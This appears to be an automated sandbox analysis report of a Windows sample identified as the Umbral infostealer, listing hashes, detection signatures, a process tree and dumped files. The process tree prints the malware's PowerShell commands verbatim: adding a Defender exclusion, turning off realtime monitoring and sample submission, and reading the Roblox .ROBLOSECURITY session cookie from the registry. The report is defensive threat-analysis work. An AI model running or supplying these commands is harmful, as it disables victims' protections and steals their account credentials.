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Analysis

  • max time kernel
    12s
  • max time network
    14s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24/08/2024, 21:49

General

  • Target

    CVW3NAX.exe

  • Size

    428KB

  • MD5

    11710cd62e4fb19bb1932e06d0d64d07

  • SHA1

    807d0d38932792b545ff9fb6fe0d84ddd7094cd8

  • SHA256

    b1256cc222fc9da457e57ce11a874e59d5c731c2aa3f55cc02cf47a9786fc775

  • SHA512

    5a9745ac347c742ea065b9754646dbc718ad6b8e940727c6d7d6632202c1b56649c646ad549cb1406b7c57901aa9ed574ac97e8a47abf63befa3bbebc35f17e5

  • SSDEEP

    12288:noZetlRk83MlSFLPMS1Nmezus9x4FM+H5X:r5r3VLPMS1Nmezus9x4FX

Malware Config

Signatures

  • Detect Umbral payload 1 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 47 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\CVW3NAX.exe
    "C:\Users\Admin\AppData\Local\Temp\CVW3NAX.exe"
    1⤵
    • Drops file in Drivers directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2904
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3716
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\CVW3NAX.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:760
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1316
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1616
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:664

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    2KB

    MD5

    d85ba6ff808d9e5444a4b369f5bc2730

    SHA1

    31aa9d96590fff6981b315e0b391b575e4c0804a

    SHA256

    84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

    SHA512

    8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    944B

    MD5

    6d3e9c29fe44e90aae6ed30ccf799ca8

    SHA1

    c7974ef72264bbdf13a2793ccf1aed11bc565dce

    SHA256

    2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d

    SHA512

    60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    948B

    MD5

    04e496605de2e5ab948392ad80e01d0b

    SHA1

    3c4ac546b1f692ff3f6f37575c5720107847cb55

    SHA256

    b8f97a41df1e31dbaaaff19d491a8f6350acb1d130e3775f1dd0eb212a6687f8

    SHA512

    79b501d33c79577903d587670d6e12377e6496d74faeaf4a2f37cbae726549db5d72df3d2a4ea3c599059e952f852a97c05cc17765fe2dfa442809ec2e6369cb

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    276798eeb29a49dc6e199768bc9c2e71

    SHA1

    5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

    SHA256

    cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

    SHA512

    0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zdyohfhz.a0f.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/760-10-0x0000015124010000-0x0000015124032000-memory.dmp

    Filesize

    136KB

  • memory/760-14-0x00007FFD06660000-0x00007FFD07121000-memory.dmp

    Filesize

    10.8MB

  • memory/760-15-0x00007FFD06660000-0x00007FFD07121000-memory.dmp

    Filesize

    10.8MB

  • memory/760-18-0x00007FFD06660000-0x00007FFD07121000-memory.dmp

    Filesize

    10.8MB

  • memory/760-3-0x00007FFD06660000-0x00007FFD07121000-memory.dmp

    Filesize

    10.8MB

  • memory/2904-34-0x000002473D8F0000-0x000002473D940000-memory.dmp

    Filesize

    320KB

  • memory/2904-33-0x000002473D870000-0x000002473D8E6000-memory.dmp

    Filesize

    472KB

  • memory/2904-2-0x00007FFD06660000-0x00007FFD07121000-memory.dmp

    Filesize

    10.8MB

  • memory/2904-35-0x000002473D730000-0x000002473D74E000-memory.dmp

    Filesize

    120KB

  • memory/2904-0-0x00007FFD06663000-0x00007FFD06665000-memory.dmp

    Filesize

    8KB

  • memory/2904-1-0x00000247230D0000-0x0000024723140000-memory.dmp

    Filesize

    448KB

  • memory/2904-71-0x0000024724EB0000-0x0000024724EBA000-memory.dmp

    Filesize

    40KB

  • memory/2904-72-0x000002473D6F0000-0x000002473D702000-memory.dmp

    Filesize

    72KB

  • memory/2904-75-0x00007FFD06663000-0x00007FFD06665000-memory.dmp

    Filesize

    8KB

  • memory/2904-76-0x00007FFD06660000-0x00007FFD07121000-memory.dmp

    Filesize

    10.8MB

  • memory/2904-77-0x000002473DAC0000-0x000002473DC69000-memory.dmp

    Filesize

    1.7MB